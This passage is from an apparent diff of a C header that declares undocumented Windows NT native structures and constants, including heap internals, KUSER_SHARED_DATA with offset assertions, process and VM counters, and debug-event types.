RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +#define RTL_TRACE_IN_USER_MODE 0x00000001 +#define RTL_TRACE_IN_KERNEL_MODE 0x00000002 +#define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 +#define RTL_TRACE_USE_PAGED_POOL 0x00000008 + +typedef struct _RTL_RESOURCE { + + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + ULONG NumberOfWaitingExclusive; + + LONG NumberOfActive; + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) + +typedef struct _RTL_TRACE_BLOCK { + ULONG Magic; + ULONG Count; + ULONG Size; + + SIZE_T UserCount; + SIZE_T UserSize; + PVOID UserContext; + + struct _RTL_TRACE_BLOCK * Next; + PVOID * Trace; +} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; + +typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); +typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; + +typedef struct _RTL_TRACE_ENUMERATE { + PRTL_TRACE_DATABASE Database; + ULONG Index; + PRTL_TRACE_BLOCK Block; +} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT __Unused5; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID PatchInformation; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) + +typedef struct _DISPATCHER_HEADER +{ + union + { + struct + { + UCHAR Type; + union + { + UCHAR Absolute; + UCHAR NpxIrql; + }; + + union + { + UCHAR Size; + UCHAR Hand; + }; + + union + { + UCHAR Inserted; + BOOLEAN DebugActive; + }; + + }; // struct .. + volatile LONG Lock; + }; // first union .. + + LONG SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KGATE +{ + DISPATCHER_HEADER Header; +} KGATE, *PKGATE; + +typedef struct _KSEMAPHORE +{ + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE; // + +typedef struct _OWNER_ENTRY +{ + ULONG OwnerThread; + LONG OwnerCount; + ULONG TableSize; +} OWNER_ENTRY, *POWNER_ENTRY; // + +typedef struct _ERESOURCE +{ + LIST_ENTRY SystemResourcesList; + OWNER_ENTRY* OwnerTable; + SHORT ActiveCount; + USHORT Flag; + KSEMAPHORE* SharedWaiters; + KEVENT* ExclusiveWaiters; + OWNER_ENTRY OwnerEntry; + ULONG ActiveEntries; + ULONG ContentionCount; + ULONG NumberOfSharedWaiters; + ULONG NumberOfExclusiveWaiters; + PVOID Address; + ULONG CreatorBackTraceIndex; + ULONG SpinLock; +} ERESOURCE, *PERESOURCE; // + +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) + +#define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) +#define HEAP_GRANULARITY_SHIFT 3 + +#define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) + +#define HEAP_MAXIMUM_FREELISTS 128 +#define HEAP_MAXIMUM_SEGMENTS 16 + +#define HEAP_ENTRY_BUSY 0x01 +#define HEAP_ENTRY_EXTRA_PRESENT 0x02 +#define HEAP_ENTRY_FILL_PATTERN 0x04 +#define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 +#define HEAP_ENTRY_LAST_ENTRY 0x10 +#define HEAP_ENTRY_SETTABLE_FLAG1 0x20 +#define HEAP_ENTRY_SETTABLE_FLAG2 0x40 +#define HEAP_ENTRY_SETTABLE_FLAG3 0x80 +#define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 + +typedef struct _HEAP_LOCK +{ + union + { + RTL_CRITICAL_SECTION CriticalSection; + ERESOURCE Resource; + } Lock; +} HEAP_LOCK, *PHEAP_LOCK; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG CommittThresholdShift; + ULONG MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // + +typedef struct _HEAP_PSEUDO_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; +} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // + +typedef struct _HEAP_ENTRY +{ + USHORT Size; + UCHAR Flags; + UCHAR SmallTagIndex; + PVOID SubSegmentCode; + USHORT PreviousSize; + UCHAR SegmentOffset; + UCHAR LFHFlags; + UCHAR UnusedBytes; + USHORT FunctionIndex; + USHORT ContextValue; + ULONG InterceptorValue; + USHORT UnusedBytesLength; + UCHAR EntryOffset; + UCHAR ExtendedBlockSignature; + ULONG Code1; + USHORT Code2; + UCHAR Code3; + UCHAR Code4; + ULONG64 AgregateCode; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG TotalMemoryReserved; + ULONG TotalMemoryCommitted; + ULONG TotalMemoryLargeUCR; + ULONG TotalSizeInVirtualBlocks; + ULONG TotalSegments; + ULONG TotalUCRs; + ULONG CommittOps; + ULONG DeCommitOps; + ULONG LockAcquires; + ULONG LockCollisions; + ULONG CommitRate; + ULONG DecommittRate; + ULONG CommitFailures; + ULONG InBlockCommitFailures; + ULONG CompactHeapCalls; + ULONG CompactedUCRs; + ULONG InBlockDeccommits; + ULONG InBlockDeccomitSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; // + +typedef struct _HEAP +{ + HEAP_ENTRY Entry; + ULONG SegmentSignature; + ULONG SegmentFlags; + LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + PVOID BaseAddress; + ULONG NumberOfPages; + PHEAP_ENTRY FirstEntry; + PHEAP_ENTRY LastValidEntry; + ULONG NumberOfUnCommittedPages; + ULONG NumberOfUnCommittedRanges; + USHORT SegmentAllocatorBackTraceIndex; + USHORT Reserved; + LIST_ENTRY UCRSegmentList; + ULONG Flags; + ULONG ForceFlags; + ULONG CompatibilityFlags; + ULONG EncodeFlagMask; + HEAP_ENTRY Encoding; + ULONG PointerKey; + ULONG Interceptor; + ULONG VirtualMemoryThreshold; + ULONG Signature; + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG TotalFreeSize; + ULONG MaximumAllocationSize; + USHORT ProcessHeapsListIndex; + USHORT HeaderValidateLength; + PVOID HeaderValidateCopy; + USHORT NextAvailableTagIndex; + USHORT MaximumTagIndex; + PHEAP_TAG_ENTRY TagEntries; + LIST_ENTRY UCRList; + ULONG AlignRound; + ULONG AlignMask; + LIST_ENTRY VirtualAllocdBlocks; + LIST_ENTRY SegmentList; + USHORT AllocatorBackTraceIndex; + ULONG NonDedicatedListLength; + PVOID BlocksIndex; + PVOID UCRIndex; + PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; + LIST_ENTRY FreeLists; + PHEAP_LOCK LockVariable; + LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html + PVOID FrontEndHeap; + USHORT FrontHeapLockCount; + UCHAR FrontEndHeapType; + HEAP_COUNTERS Counters; + HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; // + +typedef struct _HEAP_FREE_ENTRY_EXTRA +{ + USHORT TagIndex; + USHORT FreeBackTraceIndex; +} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // + +typedef struct _HEAP_ENTRY_EXTRA +{ + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; + ULONG Settable; + ULONG64 ZeroInit; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + LIST_ENTRY Entry; + HEAP_ENTRY_EXTRA ExtraStuff; + ULONG CommitSize; + ULONG ReserveSize; + HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // + +// +// Known extended CPU state feature IDs +// + +// #define XSTATE_LEGACY_FLOATING_POINT 0 +// #define XSTATE_LEGACY_SSE 1 +// #define XSTATE_GSSE 2 +// +// #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +// #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +// #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +// #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) +// +// #define MAXIMUM_XSTATE_FEATURES 64 + + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#define PROCESSOR_FEATURE_MAX 64 +#define MAX_WOW64_SHARED_ENTRIES 16 + +#if defined(_MSC_VER) && (_MSC_VER < 1300) + +#define XSTATE_LEGACY_FLOATING_POINT 0 +#define XSTATE_LEGACY_SSE 1 +#define XSTATE_GSSE 2 + +#define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +#define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +#define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +#define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) + +#define MAXIMUM_XSTATE_FEATURES 64 + +// +// Extended processor state configuration +// +#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 +typedef struct _XSTATE_FEATURE { + DWORD Offset; + DWORD Size; +} XSTATE_FEATURE, *PXSTATE_FEATURE; + +typedef struct _XSTATE_CONFIGURATION { + // Mask of enabled features + DWORD64 EnabledFeatures; + + // Total size of the save area + DWORD Size; + + DWORD OptimizedSave : 1; + + // List of features ( + XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; + +} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; +#endif + +#ifndef _WINDOWS_ +typedef enum _HEAP_INFORMATION_CLASS { + HeapCompatibilityInformation +} HEAP_INFORMATION_CLASS; +#endif //_WINDOWS_ + +#endif + +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG Reserved2[7]; + + ULONG NtProductType; + BOOLEAN ProductTypeIsValid; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + + UCHAR NXSupportPolicy; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + union + { + UCHAR TscQpcData; + struct + { + UCHAR TscQpcEnabled : 1; + UCHAR TscQpcSpareFlag : 1; + UCHAR TscQpcShift : 6; + }; + }; + UCHAR TscQpcPad[2]; + + union + { + ULONG TraceLogging; + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgSystemDllRelocated : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgSEHValidationEnabled : 1; + ULONG SpareBits : 25; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + ULONG SystemCall; + ULONG SystemCallReturn; + ULONGLONG SystemCallPad[3]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct + { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + }; + }; + + ULONG Cookie; + + // Entries below all invalid below Windows Vista + + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + + ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + + union + { + ULONGLONG AffinityPad; // only valid on Windows Vista + ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista + ULONGLONG Reserved5; + }; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 TscQpcBias; + + volatile ULONG ActiveProcessorCount; + volatile USHORT ActiveGroupCount; + USHORT Reserved4; + + volatile ULONG AitSamplingValue; + volatile ULONG AppCompatFlag; + + ULONGLONG SystemDllNativeRelocation; + ULONG SystemDllWowRelocation; + + ULONG XStatePad[1]; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); + +#define SHARED_USER_DATA_VA 0x7FFE0000 +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) + +__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } + +__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } + +//added 20/03/2011 +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + +//added 20/03/2011 +typedef struct _RTL_PROCESS_REFLECTION_INFORMATION +{ + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; +} RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; + +//FIXED 21.02.2011 size for x64 +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; +typedef VM_COUNTERS *PVM_COUNTERS; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _IO_COUNTERS { + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG OtherOperationCount; + ULONGLONG ReadTransferCount; + ULONGLONG WriteTransferCount; + ULONGLONG OtherTransferCount; +} IO_COUNTERS; +typedef IO_COUNTERS *PIO_COUNTERS; +#endif + +// SystemProcessesAndThreadsInformation +//FIXED 21.02.2011 size for x64 (and as well for x86 too) +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#define SIZEOF_BP_BUFFER 32 +#define LPC_BUFFER_SIZE 0x130 + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + + +//added 21/03/2011 +//begin +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS +#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + IN PVOID HeapHandle, + IN PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct 